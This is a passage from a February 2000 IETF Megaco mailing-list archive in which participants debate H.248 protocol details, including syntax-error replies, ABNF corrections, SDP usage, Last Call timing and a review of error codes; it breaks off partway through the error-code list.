=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=20
    
    Fred =
Baker      | 519=20
    Lado Drive 
    IETF=20
    Chair      | Santa Barbara California =
93111=20
    
    www.ietf.org    |=20
    Desk:   +1-408-526-4257 
              &nbs=
p;    =20
    | Mobile: +1-805-886-3873 
              &nbs=
p;    =20
    | FAX:    +1-413-473-2403=20



------=_NextPart_000_002D_01BF740F.3ED8F2C0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 01:45:17 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA22199
	for ; Fri, 11 Feb 2000 01:45:16 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.34084540@standards.nortelnetworks.com>; Fri, 11 Feb 2000 1:42:06 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40063 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 01:40:44 -0500
Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.01DF1580@standards.nortelnetworks.com>; Fri, 11 Feb 2000 1:40:42
          -0500
Received: from ficon-tech.com (skylab.india.ficon-tech.com [172.25.2.100]) by
          ficon-tech.com (8.9.3/8.8.7) with ESMTP id MAA12777 for
          ; Fri, 11 Feb 2000 12:07:06
          +0530 (IST) (envelope-from hsanand@ficon-tech.com)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A3AEA1.BB027C2A@ficon-tech.com>
Date:         Fri, 11 Feb 2000 12:09:29 +0530
Reply-To: hsanand@ficon-tech.com
Sender: "Media Gateway Control (megaco)"
              
From: Harpreet Singh Anand 
Organization: Ficon Technology
Subject:      Syntax Error handling
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello all,

There are certain issues regarding handling of syntax errors which have been
mentioned below:

1. Handling of syntax error in context token / context id.

Consider the following transaction:

Transaction = 123 {
    Context = 567 {...},            ; valid action
    Context = abc  {...}             ; invalid action as the context id is not a
number
}

The entity receiving the message will detect the syntax error in the context id.
What is the reply that should be sent ?
Should it be the following :

Reply = 123 {
    Context = 567 { .... },                                          ; reply for
the valid command
    Context = ??? { Error = 422 {"Error in Context Id"} }          ; error reply
for the erroneous action
}

If yes, then what should be the context id, that gets filled ? Should it be NULL
?

Section 8.2.2 has the following text for such a scenario:

(a)  " If the receiver encounters an error in processing a ContextID, the
requested Action response will consist of the context ID and a single error
descriptor, 422 Syntax Error in Action." (5th paragraph after the
TransactionReply API)

- The invalid context id can not be sent because it is syntactically incorrect
(say abcd) and if sent in the reply,  the receiver of the reply would also get a
syntax error.

- In fact, the above handling (as mentioned in draft) will never get done.
Because if the context id is syntactically correct  but does not exist, then the
error code 411 (The transaction refers to unknown context), 412 (No contextids
available) or 433 (TerminationId is already in Context) would be used.
Therefore, the above mentioned handling should never be done.

(b) " If the receiver encounters an error such that it cannot determine a legal
Action, it will return a TransactionReply consisting of the TransactionID and a
single error descriptor, 422 Syntax Error in Action. " (6th paragraph after the
TransactionReply API)

- If such a thing is done, then it means that the action reply for the valid
action request is not being sent. Which should not happen. If an action is
valid, then the same should get executed.


Similarly, what should happen if the request message is:

(a) Transaction = 123 {
    Context = 567 {...},            ; valid commands in the context
    XYZ     = abc  {...}             ; invalid context token
}

or

(b) Transaction = 123 {
    Context = 567 {...},            ; valid commands in the context
    Context & abc  {...}             ; = token not found
}


The reply for these cases should be the same as the one shown above (except for
the explanatory string).

Reply = 123 {
    Context = 567 { .... },                                          ; reply for
the valid command
    Context = ??? { Error = 422 {} }          ; error reply for the erroneous
action
}


2. Syntax Error in Termination Id.

Consider the following transaction:

Transaction = 123 {
    Context = $ {
                Add = A123 {...},     ; valid add command
                Add = ###   { ... }    ; invalid termination id
    }
}

What should be the response. Should it be:

Reply = 123 {
    Context = 567 {
                Add = A123 {...},     ; valid add command response
                Add = ??? { Error = 442  { "Invalid termination Id" } }   ; what
termination id to be filled in reply ??
    }
}


The relevant text in Sec 8.2.2 states:

(a) "If the terminationID cannot be reliably determined it will send 442 Syntax
Error in Command as the action reply."
(8th paragraph)

If this approach were to be followed, then all the commands prior to the
erroneous command would have to be discarded, even if they have been parsed
successfully. Shouldn't the entity try to execute all the commands that have
been successfully parsed ???


3. Sec 8.2.2: (6th para, last line): " If the receiver encounters an error such
that is cannot determine a legal Transaction, it will return a TransactionReply
with a null TransactionID and a single error descriptor (403 Syntax Error in
Transaction). "

Since Null transaction id is used for error replies, therefore, it should be
specified in Sec 8.1.1, that null transaction id is reserved.


Regards,
Harpreet

_________________________________
Harpreet Singh Anand
Ficon Technology
E-mail :  mailto:hsanand@ficon-tech.com
Web    :  http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 02:33:16 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA01834
	for ; Fri, 11 Feb 2000 02:33:16 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EDD7CF30@standards.nortelnetworks.com>; Fri, 11 Feb 2000 2:30:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40169 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 02:29:07 -0500
Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.C48EA810@standards.nortelnetworks.com>; Fri, 11 Feb 2000 2:29:05
          -0500
Received: from ficon-tech.com (skylab.india.ficon-tech.com [172.25.2.100]) by
          ficon-tech.com (8.9.3/8.8.7) with ESMTP id MAA16066 for
          ; Fri, 11 Feb 2000 12:55:44
          +0530 (IST) (envelope-from hsanand@ficon-tech.com)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A3BA07.F6B1793D@ficon-tech.com>
Date:         Fri, 11 Feb 2000 12:58:07 +0530
Reply-To: hsanand@ficon-tech.com
Sender: "Media Gateway Control (megaco)"
              
From: Harpreet Singh Anand 
Organization: Ficon Technology
Subject:      Inconsistency between Sec 11.5 & D.1
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello all,

There is an inconsistency between Sec 11.5 and D.1.

In Sec 11.5, it has been mentioned that in case of handoff, the replies which MG
had to send to the first MGC (the one triggering the handoff) would be sent to
the MGC (to which MG is being handed off to).
"Accordingly, commands in progress continue, transaction replies are sent to the
new MGC (after a new control association is established), and the MG should
expect outstanding transaction replies from the new MGC.  " (3rd para, 5th line)

However, D.1 states that "Responses must always be sent to the address and port
from which the corresponding commands were sent. " (first paragraph, last
line).  This sentence should be modified so that it is consistent with the
handling specified in Sec 11.5


Regards,
Harpreet

_________________________________
Harpreet Singh Anand
Ficon Technology
E-mail :  mailto:hsanand@ficon-tech.com
Web    :  http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 02:56:16 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA02057
	for ; Fri, 11 Feb 2000 02:56:16 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.25CD7EA0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 2:53:17 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40199 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 02:52:12 -0500
Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.FDDE1B20@standards.nortelnetworks.com>; Fri, 11 Feb 2000 2:52:10
          -0500
Received: from ficon-tech.com (skylab.india.ficon-tech.com [172.25.2.100]) by
          ficon-tech.com (8.9.3/8.8.7) with ESMTP id NAA17694 for
          ; Fri, 11 Feb 2000 13:18:46
          +0530 (IST) (envelope-from hsanand@ficon-tech.com)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A3BF6D.5564B6F4@ficon-tech.com>
Date:         Fri, 11 Feb 2000 13:21:10 +0530
Reply-To: hsanand@ficon-tech.com
Sender: "Media Gateway Control (megaco)"
              
From: Harpreet Singh Anand 
Organization: Ficon Technology
Subject:      MG specifying alternate ServiceChangeAddress
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello all,

Reference Sec 7.2.8:
" The optional ServiceChangeAddress parameter specifies the address (e.g., IP
port number for IP networks) to be used for subsequent communications.  It can
be specified in the input parameter descriptor or the returned result
descriptor. "

Both MG and MGC can specify alternate ServiceChangeAddress. For UDP, this works
fine, however, for TCP it does not make sense for MG to specify the port number.
What is MGC supposed to do when MG sends an alternate address ? MGC can not take
any action on it as MG is the one who initiates the TCP connection,


Regards,
Harpreet

_________________________________
Harpreet Singh Anand
Ficon Technology
E-mail :  mailto:hsanand@ficon-tech.com
Web    :  http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 03:14:33 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02351
	for ; Fri, 11 Feb 2000 03:14:33 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AE77FF30@standards.nortelnetworks.com>; Fri, 11 Feb 2000 3:11:25 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40304 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 03:10:15 -0500
Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.83415FF0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 3:10:13
          -0500
Received: from ficon-tech.com (skylab.india.ficon-tech.com [172.25.2.100]) by
          ficon-tech.com (8.9.3/8.8.7) with ESMTP id NAA18563 for
          ; Fri, 11 Feb 2000 13:36:51
          +0530 (IST) (envelope-from hsanand@ficon-tech.com)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <388D8C0F.9B266F01@ficon-tech.com>
            <3896F374.11062D10@americasm01.nt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A3C3AA.F3DBA9C0@ficon-tech.com>
Date:         Fri, 11 Feb 2000 13:39:14 +0530
Reply-To: hsanand@ficon-tech.com
Sender: "Media Gateway Control (megaco)"
              
From: Harpreet Singh Anand 
Organization: Ficon Technology
Subject:      Multiple Error Descriptors in command replies
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello,

Mulitple error descriptors have been allowed in Add/ Move/ Modify / Subtract /
Audit reply. The rationale behind it being that if statistics are being audit
and that certain statistics are  not available (for whatever reason), then the
command should not fail (as it is syntactically and semantically correct) and
the MG should be able to send multiple error descriptors in the same command
reply.

However, error codes for such statistics related error (statistics not
available) are not given in the draft. The same should be added.

Regards,
Harpreet

_________________________________
Harpreet Singh Anand
Ficon Technology
E-mail :  mailto:hsanand@ficon-tech.com
Web    :  http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 07:05:07 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA04484
	for ; Fri, 11 Feb 2000 07:05:07 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D95A7D70@standards.nortelnetworks.com>; Fri, 11 Feb 2000 7:01:41 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40495 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 06:59:57 -0500
Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.99F2F400@standards.nortelnetworks.com>; Fri, 11 Feb 2000 6:59:55
          -0500
Received: from ficon-tech.com (sphilip.india.ficon-tech.com [172.25.1.104]) by
          ficon-tech.com (8.9.3/8.8.7) with ESMTP id RAA27602 for
          ; Fri, 11 Feb 2000 17:26:26
          +0530 (IST) (envelope-from sphilip@ficon-tech.com)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A3FA18.F559A0D6@ficon-tech.com>
Date:         Fri, 11 Feb 2000 17:31:29 +0530
Reply-To: Shalini Philip 
Sender: "Media Gateway Control (megaco)"
              
From: Shalini Philip 
Organization: Ficon Technology
Subject:      Comments on V15: ABNF related
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Brian,

1. Section 7.1.5 mentions the possibility of CHOOSE wildcard as one of
the property values. However there is no provision for the same in the
ABNF.

2. Digit Map Value in the digitMapDescriptor production should be
optional.

digitMapDescriptor   = DigitMapToken EQUAL digitMapName
                       ( LBRKT digitMapValue RBRKT )

3. VersionToken is not defined.

4. DiscardToken has to be removed, since it is not used anywhere.



Regards,

Shalini Philip
Ficon Technology
E-Mail : mailto:sphilip@ficon-tech.com
Web    : http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 07:05:08 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA04488
	for ; Fri, 11 Feb 2000 07:05:07 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D9A912A0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 7:01:42 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40500 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 07:00:24 -0500
Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.AA6094A0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 7:00:22
          -0500
Received: from ficon-tech.com (sphilip.india.ficon-tech.com [172.25.1.104]) by
          ficon-tech.com (8.9.3/8.8.7) with ESMTP id RAA27612 for
          ; Fri, 11 Feb 2000 17:27:02
          +0530 (IST) (envelope-from sphilip@ficon-tech.com)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A3FA3B.D71158A6@ficon-tech.com>
Date:         Fri, 11 Feb 2000 17:32:04 +0530
Reply-To: Shalini Philip 
Sender: "Media Gateway Control (megaco)"
              
From: Shalini Philip 
Organization: Ficon Technology
Subject:      SDP usage
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Brian,


This is regarding the use of SDP within the Media Descriptor in
H.248/MEGACOP protocol.

 - The Details on the changes required in the SDP grammer (symbol to be
used for wildcard etc.) are missing.

 - The specification should give details of the SDP fields (example
network type, media type, transport type, any additional attributes)
that would be used in MEGACOP. Similar information has been provided in
MGCP and is useful for achieving interoperability. Similarly ATM bearer
description in SDP should also be defined (or a pointer given to the
relevant document).




Regards,

Shalini Philip
Ficon Technology
E-Mail : mailto:sphilip@ficon-tech.com
Web    : http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 07:43:20 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA06114
	for ; Fri, 11 Feb 2000 07:43:12 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2D9EA820@standards.nortelnetworks.com>; Fri, 11 Feb 2000 7:39:50 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40610 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 07:38:34 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.9A545110@standards.nortelnetworks.com>; Fri, 11 Feb 2000 7:28:33
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id HAA15866; Fri, 11 Feb
          2000 07:31:04 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id HAA03953; Fri, 11 Feb
          2000 07:31:07 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL75KK>; Fri, 11 Feb 2000 07:27:40 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF748B.63127676"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208914@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 07:31:04 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: H.248 Activity
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF748B.63127676
Content-Type: text/plain;
        charset="iso-8859-1"

I believe you should leave the Last Call in place, and consider the document
out of
Geneva comments on the last call.  There is no point in delaying last call,
and there
is no point in releasing another version against which comments can be
registered.

We shall have to deal with any and all comments against this draft.
Delaying last call
AGAIN is not the right direction.

It was noted that there was no deadline.  Given the level of comments, I
think you should
use a 3 week comment period from the original last call announcement.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Thursday, February 10, 2000 7:03 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: H.248 Activity



The situation is clear.  IETF process will be respected, and only one
protocol will be produced.  This leaves the following outlook for the
future:

Case 1: SG 16 decides H.248 at this meeting

Clearly, the IESG will have to delete the protocol milestone from the Megaco
charter.  The IESG may choose, as they have the right to do under our
agreement with the ITU-T, to publish H.248 as an Informational RFC.  There
is no particular reason not to -- the provision was negotiated so IETF
participants would not have to pay the ITU-T for a copy of the standard they
helped develop.

Case 2: SG 16 does not decide H.248 at this meeting.

In this case, the preferable outcome will be to allow the IETF to complete
its process and create a Standards-track RFC.  That in turn can be processed
into an ITU-T White Document at a Q. 14/16 Rapporteur's meeting convened for
the purpose, and eventually decided as H.248.  To allow this,

  -- SG 16 must seek to decide the document at the WTSA meeting in September
rather than the meeting proposed for June 15

  -- the IETF must complete its process well before May 15
  -- the ITU-T must schedule a Rapporteur's meeting to meet the May 15 White
Paper deadline

I can only apologize so many times, but I do regret the ill-will this
outcome is bound to generate between the two organizations, even though each
has done its best to accommodate the other.

Just in case Case 2 is what happens, I hereby rescind Last Call with the
intention that it will be declared on a document which reflects the results
of the present SG 16 meeting.   Meantime, we can still try to clean up all
we can before next Tuesday.

        Tom Taylor


------_=_NextPart_001_01BF748B.63127676
Content-Type: text/html;
        charset="iso-8859-1"




RE: H.248 Activity




I
believe you should leave the Last Call in place, and consider the document out
of


Geneva
comments on the last call.  There is no point in delaying last call, and
there


is no
point in releasing another version against which comments can be
registered.


 


We
shall have to deal with any and all comments against this draft.  Delaying
last call


AGAIN
is not the right direction.


 


It was
noted that there was no deadline.  Given the level of comments, I think you
should


use a
3 week comment period from the original last call
announcement.


 


Brian



  
-----Original Message-----
From: Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]
Sent: Thursday, February 10, 2000
  7:03 PM
To: MEGACO@standards.nortelnetworks.com
Subject:
  Re: H.248 Activity


  
The situation is clear.  IETF
  process will be respected, and only one protocol will be produced.  This
  leaves the following outlook for the future:

  
Case 1: SG 16 decides H.248 at this
  meeting 

  
Clearly, the IESG will have to delete
  the protocol milestone from the Megaco charter.  The IESG may choose, as
  they have the right to do under our agreement with the ITU-T, to publish H.248
  as an Informational RFC.  There is no particular reason not to -- the
  provision was negotiated so IETF participants would not have to pay the ITU-T
  for a copy of the standard they helped develop.

  
Case 2: SG 16 does not decide H.248
  at this meeting. 

  
In this case, the preferable outcome
  will be to allow the IETF to complete its process and create a Standards-track
  RFC.  That in turn can be processed into an ITU-T White Document at a Q.
  14/16 Rapporteur's meeting convened for the purpose, and eventually decided as
  H.248.  To allow this, 

  
  -- SG 16 must seek to decide
  the document at the WTSA meeting in September rather than the meeting proposed
  for June 15

  
  -- the IETF must complete its
  process well before May 15 
  -- the ITU-T must schedule a Rapporteur's meeting to meet the
  May 15 White Paper deadline 

  
I can only apologize so many times,
  but I do regret the ill-will this outcome is bound to generate between the two
  organizations, even though each has done its best to accommodate the
  other.

  
Just in case Case 2 is what happens,
  I hereby rescind Last Call with the intention that it will be declared on a
  document which reflects the results of the present SG 16 meeting.  
  Meantime, we can still try to clean up all we can before next
  Tuesday.

  
    
    
    Tom
    Taylor



------_=_NextPart_001_01BF748B.63127676--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 07:43:24 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA06127
	for ; Fri, 11 Feb 2000 07:43:21 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2E02C120@standards.nortelnetworks.com>; Fri, 11 Feb 2000 7:39:51 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40616 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 07:38:50 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.09FA5BD0@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          7:38:50 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 11 Feb 2000 06:41:21 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Fri, 11
          Feb 2000 07:41:17 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF6NHJ>; Fri, 11 Feb 2000 06:41:14 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Fri, 11 Feb 2000 06:41:14 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Errors and Error Codes
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This E-mail covers several topics dealing with error reporting.

A. Asynchronous Error Reporting
========================

We have discussed, here in Geneva, a mechanism for generating spontaneous
notifications of error conditions (i.e. use of the "cause" event in the
generic package).  The suggested mechanism is this:

  -- we reserve a block of event request-IDs (e.g. 0-15) for assignment to
classes of event the MGC will always want enabled (or alternatively can
enable or disable using a Root property).  As an example of use, we assign
requestID 0 to spontaneous error reports.  This way it won't be necessary to
include the cause event in every Event Descriptor

  -- rather than making errorDescriptor an optional component of the Notify
command (as our ABNF now states), we make it a parameter of the cause event.

  -- this mechanism allows the inclusion of some error codes in our list in
section 7.3 which otherwise shouldn't be there because they would not result
from transaction processing.  One example is 518 "event buffer full".

B. Errors In Transaction Reply

I'm not sure we have a procedure for handling errors in Transaction Reply.
Unless someone can point me to the existing text, we should add something to
cover the situation.

C. Errors Defined In Packages

We agreed with the Cisco proposal that it be possible to define error codes
in packages.  This would just be a matter of documentation convenience --
the codes would NOT be qualified by package name, and the package
documentation would serve double duty as far as IANA registration is
concerned.  IMHO this means no change to our existing section 12 except
perhaps to mention this possibility in the packages section.  Assignment of
codes would follow the usual rules: 000-999 range for ITU/IETF codes, 1000
-9999 for private packages.

D. Review Of Error Codes

I have reviewed the error codes in the current document, and have compiled
explanations for a number of them.  Others I can't explain, and suspect they
shouldn't be there.  I would like other people to review my findings so we
can get this straightened out.  In what follows, errors marked with an
asterisk could be returned against transaction replies as well as
transaction requests.  My comments are enclosed in square brackets.  I
present no explanations for error codes which seem to be adequately
described by the text shown against them in 7.3.

Could someone explain the logic behind the assignment of these codes?  Why
start at 400? -- our numbering space is only 000 to 999 and it doesn't seem
right to waste half of it.

*400 - Bad Request
        A syntax error has been detected at the message level.  The message
does not conform to the productions MegacoMessage or Message in Annex A or
Annex B as applicable.

*401 - Protocol Error
        A violation of Megaco protocol procedures has been detected.  Use
error codes corresponding to more specific conditions if they apply.  [e.g.
465, 466, 467 if they turn out to be justified; 505, 521.]

402 - Unauthorized
        The originator of a command is not authorized to execute that
command for the termination(s) affected by it.  [For messages failing
authentication, what is our procedure? ]

403 - Syntax Error in Transaction
        The form of a transaction request failed to match production
transactionRequest in Annex A, Annex B, or section D.1.2 of Annex D as
applicable.  [Note: review codes proposed in sec. 8.2.2.]

*404 - Syntax Error in TransactionReply
        The form of a transaction reply failed to match production
transactionReply in Annex A, Annex B, or section D.1.2 of Annex D as
applicable.

*405 - Syntax Error in TransactionPending
        The form of a transaction pending failed to match production
transactionPending in Annex A, Annex B, or section D.1.2 of Annex D as
applicable.

*406 - Version Not Supported
        Used by the receiver of a transaction request to indicate lack of
support for the protocol version indicated in the message header.  [Note
usage in sec. 11.3 -- I think there is an error in the second para last
sentence (should be MG, not MGC)]

*410 - Incorrect identifier
        A syntax error has been found in an mId, transactionId, contextId,
terminationId, PropertyId, EventId, SignalId, StatisticsId or ParameterId.

411 - The transaction refers to an unknown ContextId
        A specific contextID provided in a Transaction Request is unknown to
the respondent.  For unknown contextID in Transaction Reply use error code
46x "ContextIDs in Reply do not match Request" [which isn't currently
defined -- could change 461].

412 - No ContextIDs available
        The MG is unable to create a new context in response to an Add or
Move command with CHOOSE given as the contextId, because of a shortage of
software or hardware resources within the MG.

421 - Unknown action or illegal combination of actions
        [Can't happen -- actions don't have tags or semantics in
themselves.]

*422 - Syntax Error in Action
        The syntax of an Action did not conform to production actionRequest
or actionReply as applicable.  Use error code 405 or 406 as applicable if
parsing failed to delineate the end of the Action.
        [Check usage in 8.2.2]

430 - Unknown TerminationID
        A specific terminationID provided in a Transaction Request is
unknown to the responder.  For unknow terminationIDs in Transaction Replies
use error code 463.

431 - No TerminationID matched a wildcard
         The Transaction Request specified a TerminationID including both
specific content and one or more wildcards (ALL or CHOOSE), but the
responder could not find an existing termination or, because of internal
naming constraints, create a new termination matching the specified pattern.

432 - Out of TerminationIDs or No TerminationID available
        The MG was unable to allocate a new terminationID in response to an
Add command specifying a CHOOSE termination identifier, because it has
exhausted the applicable local name space or some other per-termination
resource.

433 - TerminationID is already in a Context
        A TerminationID specified in an Add command already exists within an
active context.

440 - Unsupported or unknown Package
        The package named in a Property, Event, Signal, or Statistic
identifier is not supported by the respondent.

441 - Missing RemoteDescriptor
        The MGC has attempted to set the Mode of a stream on a termination
to SendOnly or SendReceive but an inadeqate or no outgoing media
specification has been provided in a Remote Descriptor for that stream.
[Note: same thing can apply to Local/incoming flows.  Generalize this error
to "Attempt to activate underspecified flow"?]

*442 - Syntax Error in Command
        A command request has failed to match the syntax of the
commandRequest production, or a command reply in a transaction response has
failed to match the syntax of the CommandReply (Annex A) or commandReplys
(Annex B) production, as applicable. Use the 422 error code if parsing
failed to delineate the end of the command request or command reply.  [Check
use in sec. 8.2.2.]

443 - Unsupported or Unknown Command
        The respondent to a Transaction Request successfully parsed a
command to the point of delineating the command type, but does not recognize
or support the command type.  Use the 442 error code if the respondent
failed to delineate the command type.

*444 - Unsupported or Unknown Descriptor
        A  command request or command reply was successfully parsed to the
point of delineating the type of a descriptor, but the descriptor type is
not recognized or supported.  The 442 error code should be used if parsing
failed to delineate the end of the descriptor, the descriptor type, or
individual properties, parameters, or values within the descriptor.

*445 - Unsupported or Unknown Property
